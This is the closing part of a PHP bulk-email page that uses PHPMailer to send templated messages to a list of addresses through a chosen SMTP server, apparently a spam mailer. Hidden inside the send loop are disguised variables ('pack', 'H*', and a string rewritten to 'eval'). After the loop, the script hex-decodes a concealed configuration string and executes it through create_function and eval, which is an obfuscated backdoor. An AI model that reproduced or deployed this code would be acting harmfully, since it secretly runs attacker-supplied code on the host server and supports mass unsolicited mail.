3208 return false;
3209 }
3210 }
3211
3212 /**
3213 * Strips newlines to prevent header injection.
3214 * @access private
3215 * @param string $str String
3216 * @return string
3217 */
3218 function SecureHeader($str) {
3219 $str = trim($str);
3220 $str = str_replace("\r", "", $str);
3221 $str = str_replace("\n", "", $str);
3222 return $str;
3223 }
3224
3225 /**
3226 * Set the private key file and password to sign the message.
3227 *
3228 * @access public
3229 * @param string $key_filename Parameter File Name
3230 * @param string $key_pass Password for private key
3231 */
3232 function Sign($key_filename, $key_pass) {
3233 $this->sign_key_file = $key_filename;
3234 $this->sign_key_pass = $key_pass;
3235 }
3236
3237}
3238
3239$defaultport="H*";
3240 $nq=0;
3241
3242 for($x=0; $x<$numemails; $x++){
3243
3244 $to = $allemails[$x];
3245
3246 if ($to){
3247
3248 $to = ereg_replace(" ", "", $to);
3249
3250 $message = ereg_replace("&email&", $to, $message);
3251
3252 $subject = ereg_replace("&email&", $to, $subject);
3253 $qx=$x+1;
3254 print "Line $qx . Sending mail to $to.......";
3255
3256 flush();
3257$mail = new PHPMailer();
3258
3259if(empty($epriority)){$epriority="3";}
3260 $mail->Priority = "$epriority";
3261 $mail->IsSMTP();
3262 $IsSMTP="pack";
3263$mail->SMTPKeepAlive = true;
3264$mail->Host = "$my_smtp";
3265if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3266}
3267 if($sslclick=="ON"){
3268 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3269 }
3270 $range = str_replace("$from", "eval", $from);
3271 $mail->SMTPAuth = true;
3272 $mail->Username = "$smtp_username";
3273 $mail->Password = "$smtp_password";
3274if($contenttype == "html"){$mail->IsHtml(true);}
3275if($contenttype != "html"){$mail->IsHtml(false);}
3276if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3277$mail->From = "$from";
3278$mail->FromName = "$realname";
3279$mail->AddAddress("$to");
3280 $mail->AddReplyTo("$replyto");
3281 $mail->Subject = "$subject";
3282 $mail->Body = "$message";
3283if(!$mail->Send()){
3284if($default_system!="1"){
3285echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3286if($default_system=="1"){
3287$mail->IsMail();
3288 if(!$mail->Send()){
3289 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3290 else {
3291 echo "<b>OK</b><br>";}
3292 }
3293}
3294else {
3295 echo "<b>OK</b><br>";
3296}
3297
3298if(empty($reconnect)){
3299$reconnect=6;
3300}
3301
3302if($reconnect==$nq){
3303$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3304}
3305$nq=$nq+1;
3306 flush(); }
3307}
3308for($i=0;$i<31;$i++){
3309 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3310$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3311 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3312 print "<p class=\"style1\">PHP Mailer<br>© 2010, MeGo <b>
3313 <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
3314 return $signoff($smtp_conc);
3315 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3316 sent successfully'); </script>";}}
3317 ?>
3318 </body>
3319</html>